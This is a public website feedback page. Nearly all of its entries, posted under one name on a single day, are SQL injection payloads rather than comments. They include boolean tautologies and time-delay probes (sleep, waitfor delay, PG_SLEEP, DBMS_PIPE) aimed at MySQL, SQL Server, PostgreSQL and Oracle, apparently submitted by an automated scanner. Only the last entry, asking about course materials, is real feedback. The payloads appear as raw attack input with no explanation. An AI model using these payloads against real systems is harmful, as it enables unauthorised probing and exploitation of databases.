Feedback
This is where you can leave feedback on the website, which is displayed for everyone to see — so think before you submit!
We consider there are three kinds of feedback:
- Reporting bugs which affect the running of the website
- Commenting on areas of the site which you found confusing
- Suggesting changes or additions.
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1 OR 3+875-875-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1 OR 2+875-875-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1 OR 2+291-291-1=0+0+0+1
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1 OR 3+291-291-1=0+0+0+1
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1' OR 2+188-188-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1' OR 3+188-188-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1' OR 2+24-24-1=0+0+0+1 or 'Qa4KvmbE'='
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1' OR 3+24-24-1=0+0+0+1 or 'Qa4KvmbE'='
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1"" OR 2+474-474-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1"" OR 3+474-474-1=0+0+0+1 --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
if(now()=sysdate(),sleep(15),0)
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1; waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1); waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1)); waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
1 waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
Znhigf8f'; waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
nSTK89cU'); waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
yGS68VW1')); waitfor delay '0:0:15' --
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-5 OR 210=(SELECT 210 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-5) OR 805=(SELECT 805 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
-1)) OR 563=(SELECT 563 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
M7ZBK7f8' OR 418=(SELECT 418 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
NjDdA33s') OR 979=(SELECT 979 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
2Ud2SnN1')) OR 848=(SELECT 848 FROM PG_SLEEP(15))--
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
On Sunday, April 13, 2025, Jorge Lima from 1 wrote:
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
On Tuesday, April 28, 2026, Jorge Lima from Rio de Janeiro wrote:
When the material for the other chapters (notes, videos, slides and other stuffs) will be released? The material is outstanding
